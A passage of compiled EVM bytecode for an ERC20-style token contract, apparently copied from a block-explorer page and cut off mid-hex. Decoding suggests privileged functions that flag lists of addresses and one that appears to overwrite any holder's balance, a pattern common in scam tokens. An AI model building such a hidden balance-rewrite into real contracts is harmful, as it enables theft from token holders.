405250810190613b4d9190613f2c565b5050505050565b6000613b5f82613bc9565b9050919050565b60008083118290613bad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613ba49190614291565b60405180910390fd5b5060008385613bbc91906144fe565b9050809150509392505050565b6000819050919050565b600081359050613be281614a0c565b92915050565b600081519050613bf781614a0c565b92915050565b60008083601f840112613c1357613c1261480a565b5b8235905067ffffffffffffffff811115613c3057613c2f614805565b5b602083019150836020820283011115613c4c57613c4b61480f565b5b9250929050565b600081359050613c6281614a23565b92915050565b600081359050613c7781614a3a565b92915050565b600081519050613c8c81614a3a565b92915050565b600060208284031215613ca857613ca7614819565b5b6000613cb684828501613bd3565b91505092915050565b600060208284031215613cd557613cd4614819565b5b6000613ce384828501613be8565b91505092915050565b60008060408385031215613d0357613d02614819565b5b6000613d1185828601613bd3565b9250506020613d2285828601613bd3565b9150509250929050565b600080600060608486031215613d4557613d44614819565b5b6000613d5386828701613bd3565b9350506020613d6486828701613bd3565b9250506040613d7586828701613c68565b9150509250925092565b60008060408385031215613d9657613d95614819565b5b6000613da485828601613bd3565b9250506020613db585828601613c68565b9150509250929050565b600080600060408486031215613dd857613dd7614819565b5b600084013567ffffffffffffffff811115613df657613df5614814565b5b613e0286828701613bfd565b93509350506020613e1586828701613c53565b9150509250925092565b600080600060408486031215613e3857613e37614819565b5b600084013567ffffffffffffffff811115613e5657613e55614814565b5b613e6286828701613bfd565b93509350506020613e7586828701613c68565b9150509250925092565b600060208284031215613e9557613e94614819565b5b6000613ea384828501613c53565b91505092915050565b600060208284031215613ec257613ec1614819565b5b6000613ed084828501613c68565b91505092915050565b600080600060608486031215613ef257613ef1614819565b5b6000613f0086828701613c68565b9350506020613f1186828701613c68565b9250506040613f2286828701613c68565b9150509250925092565b600080600060608486031215613f4557613f44614819565b5b6000613f5386828701613c7d565b9350506020613f6486828701613c7d565b9250506040613f7586828701613c7d565b9150509250925092565b6000613f8b8383613fa6565b60208301905092915050565b613fa0816145cf565b82525050565b613faf816145bd565b82525050565b613fbe816145bd565b82525050565b6000613fcf82614463565b613fd98185614486565b9350613fe483614453565b8060005b83811015614015578151613ffc8882613f7f565b975061400783614479565b925050600181019050613fe8565b5085935050505092915050565b61402b816145e1565b82525050565b61403a81614624565b82525050565b61404981614636565b82525050565b600061405a8261446e565b6140648185614497565b935061407481856020860161466c565b61407d8161481e565b840191505092915050565b6000614095602383614497565b91506140a08261482f565b604082019050919050565b60006140b8602783614497565b91506140c38261487e565b604082019050919050565b60006140db602283614497565b91506140e6826148cd565b604082019050919050565b60006140fe601b83614497565b91506141098261491c565b602082019050919050565b6000614121602883614497565b915061412c82614945565b604082019050919050565b6000614144602183614497565b915061414f82614994565b604082019050919050565b6000614167602083614497565b9150614172826149e3565b602082019050919050565b6141868161460d565b82525050565b61419581614617565b82525050565b60006020820190506141b06000830184613fb5565b92915050565b60006020820190506141cb6000830184613f97565b92915050565b60006040820190506141e66000830185613fb5565b6141f36020830184613fb5565b9392505050565b600060c08201905061420f6000830189613fb5565b61421c602083018861417d565b6142296040830187614040565b6142366060830186614040565b6142436080830185613fb5565b61425060a083018461417d565b979650505050505050565b60006020820190506142706000830184614022565b92915050565b600060208201905061428b6000830184614031565b92915050565b600060208201905081810360008301526142ab818461404f565b905092915050565b600060208201905081810360008301526142cc81614088565b9050919050565b600060208201905081810360008301526142ec816140ab565b9050919050565b6000602082019050818103600083015261430c816140ce565b9050919050565b6000602082019050818103600083015261432c816140f1565b9050919050565b6000602082019050818103600083015261434c81614114565b9050919050565b6000602082019050818103600083015261436c81614137565b9050919050565b6000602082019050818103600083015261438c8161415a565b9050919050565b60006020820190506143a8600083018461417d565b92915050565b60006040820190506143c3600083018561417d565b81810360208301526143d58184613fc4565b90509392505050565b600060a0820190506143f3600083018861417d565b6144006020830187614040565b81810360408301526144128186613fc4565b90506144216060830185613fb5565b61442e608083018461417d565b9695505050505050565b600060208201905061444d600083018461418c565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006144b38261460d565b91506144be8361460d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156144f3576144f261471a565b5b828201905092915050565b60006145098261460d565b91506145148361460d565b92508261452457614523614749565b5b828204905092915050565b600061453a8261460d565b91506145458361460d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561457e5761457d61471a565b5b828202905092915050565b60006145948261460d565b915061459f8361460d565b9250828210156145b2576145b161471a565b5b828203905092915050565b60006145c8826145ed565b9050919050565b60006145da826145ed565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061462f82614648565b9050919050565b60006146418261460d565b9050919050565b60006146538261465a565b9050919050565b6000614665826145ed565b9050919050565b60005b8381101561468a57808201518184015260208101905061466f565b83811115614699576000848401525b50505050565b600060028204905060018216806146b757607f821691505b602082108114156146cb576146ca614778565b5b50919050565b60006146dc8261460d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561470f5761470e61471a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652073656e6464657220746865207a65726f2060008201527f6164647265737300000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e736665722073656e6464657220746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b614a15816145bd565b8114614a2057600080fd5b50565b614a2c816145e1565b8114614a3757600080fd5b50565b614a438161460d565b8114614a4e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202cc23f04daa7c4f6a21d50fa6e13795e72ec9a3a50c4f337cdf242f0285ef80e64736f6c63430008070033
Deployed Bytecode
0x60806040526004361061038f5760003560e01c80638da5cb5b116101dc578063c5d2418911610102578063dc44b6a0116100a0578063f1d5f5171161006f578063f1d5f51714610dba578063f207d57514610de3578063f2fde38b14610e0e578063f872858a14610e3757610396565b8063dc44b6a014610cfc578063dd62ed3e14610d27578063f029f7d714610d64578063f0cd1dac14610d8f57610396565b8063c867d60b116100dc578063c867d60b14610c40578063cab0347114610c7d578063d469a20914610ca8578063da00097d14610cd157610396565b8063c5d2418914610bbf578063c816841b14610bea578063c860795214610c1557610396565b8063a457c2d71161017a578063ae2116b811610149578063ae2116b814610b05578063c2d4640e14610b42578063c469b6dd14610b6b578063c49b9a8014610b9657610396565b8063a457c2d714610a37578063a5d69d1f14610a74578063a83f53a714610a9d578063a9059cbb14610ac857610396565b8063a08e671f116101b6578063a08e671f14610991578063a1c9c3e2146109bc578063a2227a7a146109e5578063a2a6272214610a0e57610396565b80638da5cb5b1461091057806395d89b411461093b578063a073d37f1461096657610396565b806339509351116102c157806361a23c691161025f578063807c2d9c1161022e578063807c2d9c1461085257806382eefb431461087d57806388790a68146108a85780638b42507f146108d357610396565b806361a23c69146107965780636249faf1146107c157806370a08231146107ea5780637d1db4a51461082757610396565b806347be85741161029b57806347be8574146106c65780634a74bb021461070357806357a5802f1461072e5780635881f3ef1461075957610396565b806339509351146106235780633b97084a146106605780633ecad2711461068957610396565b80632563ae831161032e5780632c4b2334116103085780632c4b2334146105695780632f1d9ddd14610592578063313ce567146105cf57806335d23615146105fa57610396565b80632563ae83146104ea57806327c8f835146105135780632b112e491461053e57610396565b80631245e3471161036a5780631245e3471461042c5780631694505e1461045757806318160ddd1461048257806323b872dd146104ad57610396565b80625e18071461039b57806306fdde03146103c4578063095ea7b3146103ef57610396565b3661039657005b600080fd5b3480156103a757600080fd5b506103c260048036038101906103bd9190613dbf565b610e62565b005b3480156103d057600080fd5b506103d9610f9c565b6040516103e69190614291565b60405180910390f35b3480156103fb57600080fd5b5061041660048036038101906104119190613d7f565b61102e565b604051610423919061425b565b60405180910390f35b34801561043857600080fd5b5061044161104c565b60405161044e91906141b6565b60405180910390f35b34801561046357600080fd5b5061046c611072565b6040516104799190614276565b60405180910390f35b34801561048e57600080fd5b50610497611098565b6040516104a49190614393565b60405180910390f35b3480156104b957600080fd5b506104d460048036038101906104cf9190613d2c565b6110a2565b6040516104e1919061425b565b60405180910390f35b3480156104f657600080fd5b50610511600480360381019061050c9190613e7f565b61117c565b005b34801561051f57600080fd5b5061052861122e565b604051610535919061419b565b60405180910390f35b34801561054a57600080fd5b50610553611252565b6040516105609190614393565b60405180910390f35b34801561057557600080fd5b50610590600480360381019061058b9190613c92565b611296565b005b34801561059e57600080fd5b506105b960048036038101906105b49190613c92565b61136f565b6040516105c6919061425b565b60405180910390f35b3480156105db57600080fd5b506105e461138f565b6040516105f19190614438565b60405180910390f35b34801561060657600080fd5b50610621600480360381019061061c9190613c92565b6113a6565b005b34801561062f57600080fd5b5061064a60048036038101906106459190613d7f565b61147f565b604051610657919061425b565b60405180910390f35b34801561066c57600080fd5b5061068760048036038101906106829190613eac565b611532565b005b34801561069557600080fd5b506106b060048036038101906106ab9190613c92565b6115d1565b6040516106bd919061425b565b60405180910390f35b3480156106d257600080fd5b506106ed60048036038101906106e89190613c92565b6115f1565b6040516106fa919061425b565b60405180910390f35b34801561070f57600080fd5b50610718611611565b604051610725919061425b565b60405180910390f35b34801561073a57600080fd5b50610743611624565b6040516107509190614393565b60405180910390f35b34801561076557600080fd5b50610780600480360381019061077b9190613c92565b61162a565b60405161078d919061419b565b60405180910390f35b3480156107a257600080fd5b506107ab611b88565b6040516107b89190614393565b60405180910390f35b3480156107cd57600080fd5b506107e860048036038101906107e39190613dbf565b611b8e565b005b3480156107f657600080fd5b50610811600480360381019061080c9190613c92565b611cc8565b60405161081e9190614393565b60405180910390f35b34801561083357600080fd5b5061083c611d11565b6040516108499190614393565b60405180910390f35b34801561085e57600080fd5b50610867611d17565b6040516108749190614393565b60405180910390f35b34801561088957600080fd5b50610892611d1d565b60405161089f9190614393565b60405180910390f35b3480156108b457600080fd5b506108bd611d23565b6040516108ca9190614393565b60405180910390f35b3480156108df57600080fd5b506108fa60048036038101906108f59190613c92565b611d29565b604051610907919061425b565b60405180910390f35b34801561091c57600080fd5b50610925611d49565b604051610932919061419b565b60405180910390f35b34801561094757600080fd5b50610950611d72565b60405161095d9190614291565b60405180910390f35b34801561097257600080fd5b5061097b611e04565b6040516109889190614393565b60405180910390f35b34801561099d57600080fd5b506109a6611e0e565b6040516109b39190614393565b60405180910390f35b3480156109c857600080fd5b506109e360048036038101906109de9190613d7f565b611e14565b005b3480156109f157600080fd5b50610a0c6004803603810190610a079190613e1f565b611e94565b005b348015610a1a57600080fd5b50610a356004803603810190610a309190613ed9565b612010565b005b348015610a4357600080fd5b50610a5e6004803603810190610a599190613d7f565b6120f0565b604051610a6b919061425b565b60405180910390f35b348015610a8057600080fd5b50610a9b6004803603810190610a969190613e7f565b6121bd565b005b348015610aa957600080fd5b50610ab261226f565b604051610abf9190614393565b60405180910390f35b348015610ad457600080fd5b50610aef6004803603810190610aea9190613d7f565b612275565b604051610afc919061425b565b60405180910390f35b348015610b1157600080fd5b50610b2c6004803603810190610b279190613c92565b612294565b604051610b39919061425b565b60405180910390f35b348015610b4e57600080fd5b50610b696004803603810190610b649190613ed9565b6122b4565b005b348015610b7757600080fd5b50610b80612394565b604051610b8d9190614393565b60405180910390f35b348015610ba257600080fd5b50610bbd6004803603810190610bb89190613e7f565b61239a565b005b348015610bcb57600080fd5b50610bd4612483565b604051610be19190614393565b60405180910390f35b348015610bf657600080fd5b50610bff612489565b604051610c0c919061419b565b60405180910390f35b348015610c2157600080fd5b50610c2a6124af565b604051610c379190614393565b60405180910390f35b348015610c4c57600080fd5b50610c676004803603810190610c629190613c92565b6124b5565b604051610c74919061425b565b60405180910390f35b348015610c8957600080fd5b50610c926124d5565b604051610c9f9190614393565b60405180910390f35b348015610cb457600080fd5b50610ccf6004803603810190610cca9190613ed9565b6124db565b005b348015610cdd57600080fd5b50610ce66125bb565b604051610cf3919061425b565b60405180910390f35b348015610d0857600080fd5b50610d116125ce565b604051610d1e9190614393565b60405180910390f35b348015610d3357600080fd5b50610d4e6004803603810190610d499190613cec565b6125d4565b604051610d5b9190614393565b60405180910390f35b348015610d7057600080fd5b50610d7961265b565b604051610d869190614393565b60405180910390f35b348015610d9b57600080fd5b50610da4612661565b604051610db19190614393565b60405180910390f35b348015610dc657600080fd5b50610de16004803603810190610ddc9190613eac565b612667565b005b348015610def57600080fd5b50610df8612706565b604051610e0591906141b6565b60405180910390f35b348015610e1a57600080fd5b50610e356004803603810190610e309190613c92565b61272c565b005b348015610e4357600080fd5b50610e4c61287e565b604051610e59919061425b565b60405180910390f35b610e6a6128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee90614373565b60405180910390fd5b60005b83839050811015610f96578160086000868685818110610f1d57610f1c6147a7565b5b9050602002016020810190610f329190613c92565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f8e906146d1565b915050610efa565b50505050565b606060028054610fab9061469f565b80601f0160208091040260200160405190810160405280929190818152602001828054610fd79061469f565b80156110245780601f10610ff957610100808354040283529160200191611024565b820191906000526020600020905b81548152906001019060200180831161100757829003601f168201915b5050505050905090565b600061104261103b6128ef565b84846128f7565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601a54905090565b60006110af848484612ac2565b50611171846110bc6128ef565b61116c85604051806060016040528060288152602001614a5260289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006111226128ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612efb9092919063ffffffff16565b6128f7565b600190509392505050565b6111846128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611211576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120890614373565b60405180910390fd5b80601f60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b60006112916112807f000000000000000000000000000000000000000000000000000000000000dead611cc8565b601a54612f5f90919063ffffffff16565b905090565b61129e6128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461132b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132290614373565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d6020528060005260406000206000915054906101000a900460ff1681565b6000600460009054906101000a900460ff16905090565b6113ae6128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461143b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143290614373565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061152861148c6128ef565b84611523856007600061149d6128ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289190919063ffffffff16565b6128f7565b6001905092915050565b61153a6128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115be90614373565b60405180910390fd5b80601d8190555050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b601f60159054906101000a900460ff1681565b60145481565b60006116346128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b890614373565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561170c57600080fd5b505afa158015611720573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117449190613cbf565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156117a657600080fd5b505afa1580156117ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117de9190613cbf565b6040518363ffffffff1660e01b81526004016117fb9291906141d1565b60206040518083038186803b15801561181357600080fd5b505afa158015611827573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061184b9190613cbf565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a0c578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156118c857600080fd5b505afa1580156118dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119009190613cbf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561196257600080fd5b505afa158015611976573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061199a9190613cbf565b6040518363ffffffff1660e01b81526004016119b79291906141d1565b602060405180830381600087803b1580156119d157600080fd5b505af11580156119e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a099190613cbf565b91505b81601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b60155481565b611b966128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1a90614373565b60405180910390fd5b60005b83839050811015611cc2578160096000868685818110611c4957611c486147a7565b5b9050602002016020810190611c5e9190613c92565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611cba906146d1565b915050611c26565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601b5481565b601c5481565b60185481565b60115481565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054611d819061469f565b80601f0160208091040260200160405190810160405280929190818152602001828054611dad9061469f565b8015611dfa5780601f10611dcf57610100808354040283529160200191611dfa565b820191906000526020600020905b815481529060010190602001808311611ddd57829003601f168201915b5050505050905090565b6000601d54905090565b60195481565b611e426001600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633612fa9565b611e4b57611e90565b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b611ec26001600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633612fa9565b611ecb5761200b565b60005b838390508110156120095760088214611f6e57600180611eec575060005b600d6000868685818110611f0357611f026147a7565b5b9050602002016020810190611f189190613c92565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611ff8565b60018015611f7a575060005b600d6000868685818110611f9157611f906147a7565b5b9050602002016020810190611fa69190613c92565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80612002906146d1565b9050611ece565b505b505050565b6120186128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209c90614373565b60405180910390fd5b8260118190555081601281905550806013819055506120e56013546120d760125460115461289190919063ffffffff16565b61289190919063ffffffff16565b601881905550505050565b60006121b36120fd6128ef565b846121ae85604051806060016040528060258152602001614a7a60259139600760006121276128ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612efb9092919063ffffffff16565b6128f7565b6001905092915050565b6121c56128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612252576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224990614373565b60405180910390fd5b80601f60166101000a81548160ff02191690831515021790555050565b60165481565b60006122896122826128ef565b8484612ac2565b506001905092915050565b600c6020528060005260406000206000915054906101000a900460ff1681565b6122bc6128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234090614373565b60405180910390fd5b82601481905550816015819055508060168190555061238960165461237b60155460145461289190919063ffffffff16565b61289190919063ffffffff16565b601981905550505050565b60105481565b6123a26128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461242f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242690614373565b60405180910390fd5b80601f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051612478919061425b565b60405180910390a150565b600f5481565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b60096020528060005260406000206000915054906101000a900460ff1681565b60135481565b6124e36128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256790614373565b60405180910390fd5b82600e8190555081600f81905550806010819055506125b06010546125a2600f54600e5461289190919063ffffffff16565b61289190919063ffffffff16565b601781905550505050565b601f60169054906101000a900460ff1681565b600e5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60015481565b60175481565b61266f6128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f390614373565b60405180910390fd5b80601c8190555050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6127346128ef565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b890614373565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601f60179054906101000a900460ff1681565b60008082846128a091906144a8565b9050838110156128e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128dc90614313565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295e906142d3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ce906142f3565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612ab59190614393565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612b33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b2a90614333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612ba3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b9a906142b3565b60405180910390fd5b601f60149054906101000a900460ff1615612bca57612bc3848484612fee565b9050612ef4565b6000612bd530611cc8565b90506000601d548210159050808015612bfb5750601f60149054906101000a900460ff16155b8015612c515750600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612c695750601f60159054906101000a900460ff165b15612c9357601f60169054906101000a900460ff1615612c8957601d5491505b612c92826131c1565b5b612c9c866133b2565b15612d3757612cf384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f5f90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612dda5750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612dee57612de98787876133f5565b612df0565b845b9050612e4481600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289190919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ee49190614393565b60405180910390a3600193505050505b9392505050565b6000838311158290612f43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f3a9190614291565b60405180910390fd5b5060008385612f529190614589565b9050809150509392505050565b6000612fa183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612efb565b905092915050565b60008173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415158015612fe55750835b90509392505050565b6000613079826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612efb9092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061310e82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289190919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673fffffffffff